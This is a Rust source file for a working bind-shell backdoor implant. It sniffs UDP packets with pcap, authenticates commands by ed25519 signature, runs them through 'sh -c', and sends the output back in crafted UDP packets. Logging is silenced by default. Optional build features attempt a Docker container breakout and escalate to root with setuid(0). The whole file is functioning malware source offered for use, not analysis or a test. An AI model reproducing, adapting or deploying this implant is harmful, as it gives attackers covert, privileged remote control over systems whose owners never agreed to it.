use std::os::unix::ffi::OsStrExt;
use std::process::Stdio;
use std::{ffi::OsStr, sync::Arc};

use anyhow::{anyhow, bail, Context};
use ed25519_dalek::{PublicKey, Signature, Verifier};
use pcap_sys::{self, packets::EthernetPacket};
use tokio::{self, io::AsyncReadExt, process, sync::mpsc};
use tokio_stream::StreamExt;

use ex_bind_shell_key_generator::PUBKEY;

#[cfg(feature = "docker-breakout")]
extern "C" {
    fn breakout(err_loc: *mut i32) -> i32;
}

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    if let Err(e) = handled_main().await {
        log::error!("{:?}", e);
    }

    Ok(())
}

async fn handled_main() -> anyhow::Result<()> {
    simple_logger::SimpleLogger::new()
        .with_level(log::LevelFilter::Off)
        .with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Error)
        .init()?;

    let pubkey =
        Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);

    log::info!("Pubkey is good");

    let port = std::env::args()
        .skip(1)
        .next()
        .and_then(|a| a.parse::<u16>().ok())
        .unwrap_or(54248);

    #[cfg(feature = "docker-breakout")]
    unsafe {
        let mut err_loc: i32 = 0;
        let result = breakout(&mut err_loc as *mut _);
        let errno = std::io::Error::last_os_error();

        if result != 0 {
            if err_loc == 1 {
                log::warn!("Docker breakout was unsuccessful! pidfd_open error: {errno:?}");
            } else if err_loc == 2 {
                log::warn!("Docker breakout was unsuccessful! setns error: {errno:?}");
            } else {
                log::warn!("Docker breakout was unsuccessful, and error location is unknown! {err_loc}, {result}");
            }
        } else {
            log::info!("Docker breakout was successful!");
        }
    }

    let mut interfaces = pcap_sys::PcapDevIterator::new()?;

    let interface_name = interfaces
        .find(|eth| eth.starts_with("eth") || eth.starts_with("en"))
        .ok_or(anyhow!("Could not get an ethernet interface"))?;

    log::info!("Attaching to interface {}", &interface_name);

    let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;

    interface.set_buffer_size(8192)?;
    interface.set_non_blocking(true)?;
    interface.set_promisc(false)?;
    interface.set_timeout(10)?;

    let mut interface = interface.activate()?;

    interface.set_filter(&format!("inbound and udp port {port}"), true, None)?;

    if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
        bail!("interface does not support ethernet")
    }

    enum EventType {
        Packet(Result<EthernetPacket, pcap_sys::error::Error>),
        Send(EthernetPacket),
        Exit,
    }

    let mut packets = interface.stream()?;
    let (packet_sender, mut packets_to_send) = mpsc::channel(64);
    let (exit_sender, mut exit_handler) = mpsc::channel(1);

    while let Some(evt) = tokio::select! {
        v = packets.next() => v.map(EventType::Packet),
        v = packets_to_send.recv() => v.map(EventType::Send),
        v = exit_handler.recv() => v.map(|_| EventType::Exit)
    } {
        match evt {
            EventType::Packet(pkt) => {
                if let Ok(pkt) = pkt {
                    let packet_sender_clone = packet_sender.clone();
                    let exit_sender_clone = exit_sender.clone();
                    let pubkey_clone = pubkey.clone();
                    tokio::spawn(async move {
                        if let Err(e) = handle_command(
                            pubkey_clone,
                            pkt,
                            packet_sender_clone,
                            exit_sender_clone,
                        )
                        .await
                        {
                            log::warn!("Error handling packet: {e}");
                        }
                    });
                }
            }
            EventType::Send(pkt) => {
                packets.sendpacket(pkt.pkt())?;
            }
            EventType::Exit => {
                break;
            }
        }
    }

    Ok(())
}

async fn handle_command(
    pubkey: Arc<PublicKey>,
    eth: EthernetPacket,
    send_response: mpsc::Sender<EthernetPacket>,
    send_exit: mpsc::Sender<()>,
) -> anyhow::Result<()> {
    use pcap_sys::packets::*;
    let eth_pkt = eth.pkt();
    let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()? else {
        return Ok(());
    };
    let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
        todo!()
    };

    let source_port = udp_pkt.srcport();

    let error_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, 255]);
    let error_ip_packet = IPv4Packet::construct(
        ip_pkt.dest_ip(),
        ip_pkt.source_ip(),
        &Layer4Packet::UDP(error_udp_packet),
    );
    let error_eth_packet = EthernetPacket::construct(
        *eth_pkt.destination_address(),
        *eth_pkt.source_address(),
        &Layer3Packet::IPv4(error_ip_packet),
    );

    let data = udp_pkt.get_data();

    if data.len() < 65 {
        if let Err(e) = send_response.send(error_eth_packet.clone()).await {
            log::warn!("Could not send command done packet: {e:?}");
        }
        bail!("Packet was too short")
    }

    let Ok(signature): Result<[u8; 64], _> = data[..64].try_into() else {
        if let Err(e) = send_response.send(error_eth_packet.clone()).await {
            log::warn!("Could not send command done packet: {e:?}");
        }
        bail!("could not get signature from command")
    };

    let signature = Signature::from(signature);

    let cmd = &data[64..];

    if let Err(e) = pubkey.verify(cmd, &signature) {
        if let Err(e) = send_response.send(error_eth_packet.clone()).await {
            log::warn!("Could not send command done packet: {e:?}");
        }
        return Err(e).context("message provided was unauthenticated");
    }

    let cmd = OsStr::from_bytes(cmd);

    log::info!("Received command to execute: {cmd:?}");

    let cmd_str = std::str::from_utf8(cmd.as_bytes());
    match cmd_str.map(|c| c.split(" ").collect::<Vec<_>>()).as_deref() {
        #[cfg(not(feature = "no-exit"))]
        Ok(["exit"]) => {
            let _ = send_exit.send(()).await;
            return Ok(());
        }
        Ok(["cd", dir]) => {
            std::env::set_current_dir(dir)?;
            return Ok(());
        }
        _ => {}
    }

    #[cfg(feature = "setuid")]
    let current_id = unsafe {
        let id = libc::getuid();
        libc::setuid(0);
        id
    };

    let Ok(mut child) = (process::Command::new("sh")
        .arg("-c")
        .arg(cmd)
        .env("TERM", "screen")
        .stdin(Stdio::null())
        .stdout(Stdio::piped())
        .stderr(Stdio::piped()))
    .spawn() else {
        if let Err(e) = send_response.send(error_eth_packet.clone()).await {
            log::warn!("Could not send command done packet: {e:?}");
        }
        bail!("could not spawn child")
    };

    {
        let stdout = match &mut child.stdout {
            Some(ref mut stdout) => stdout,
            None => bail!("could not get child process stdout"),
        };
        let stderr = match &mut child.stderr {
            Some(ref mut stderr) => stderr,
            None => bail!("could not get child process stderr"),
        };

        enum Output {
            Out,
            Err,
        }

        let mut stdout_buffer = [0u8; 1024];
        let mut stderr_buffer = [0u8; 1024];

        loop {
            let (out_type, Ok(len)) = tokio::select! {
                v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
                v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
            } else {
                continue;
            };

            if len == 0 {
                break;
            }

            let msg = &match out_type {
                Output::Err => stderr_buffer,
                Output::Out => stdout_buffer,
            }[..len];

            let fullmsg = &[
                match out_type {
                    Output::Out => &[1],
                    Output::Err => &[2],
                },
                msg,
            ]
            .concat();

            let udp_packet = UDPPacket::construct(54248, source_port, &**fullmsg);
            let ip_packet = IPv4Packet::construct(
                ip_pkt.dest_ip(),
                ip_pkt.source_ip(),
                &Layer4Packet::UDP(udp_packet),
            );
            let eth_packet = EthernetPacket::construct(
                *eth_pkt.destination_address(),
                *eth_pkt.source_address(),
                &Layer3Packet::IPv4(ip_packet),
            );

            if let Err(e) = send_response.send(eth_packet).await {
                log::warn!("Could not send response packet: {e:?}");
            }
        }
    }

    let exit_code = child
        .wait()
        .await
        .map(|s| s.code())
        .ok()
        .flatten()
        .unwrap_or(255)
        .try_into()
        .unwrap();

    #[cfg(feature = "setuid")]
    if current_id != 0 {
        unsafe { libc::setuid(current_id) };
    }

    let done_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, exit_code]);
    let done_ip_packet = IPv4Packet::construct(
        ip_pkt.dest_ip(),
        ip_pkt.source_ip(),
        &Layer4Packet::UDP(done_udp_packet),
    );
    let done_eth_packet = EthernetPacket::construct(
        *eth_pkt.destination_address(),
        *eth_pkt.source_address(),
        &Layer3Packet::IPv4(done_ip_packet),
    );

    if let Err(e) = send_response.send(done_eth_packet.clone()).await {
        log::warn!("Could not send command done packet: {e:?}");
    }

    log::info!("Done executing command {cmd:?}");

    Ok(())
}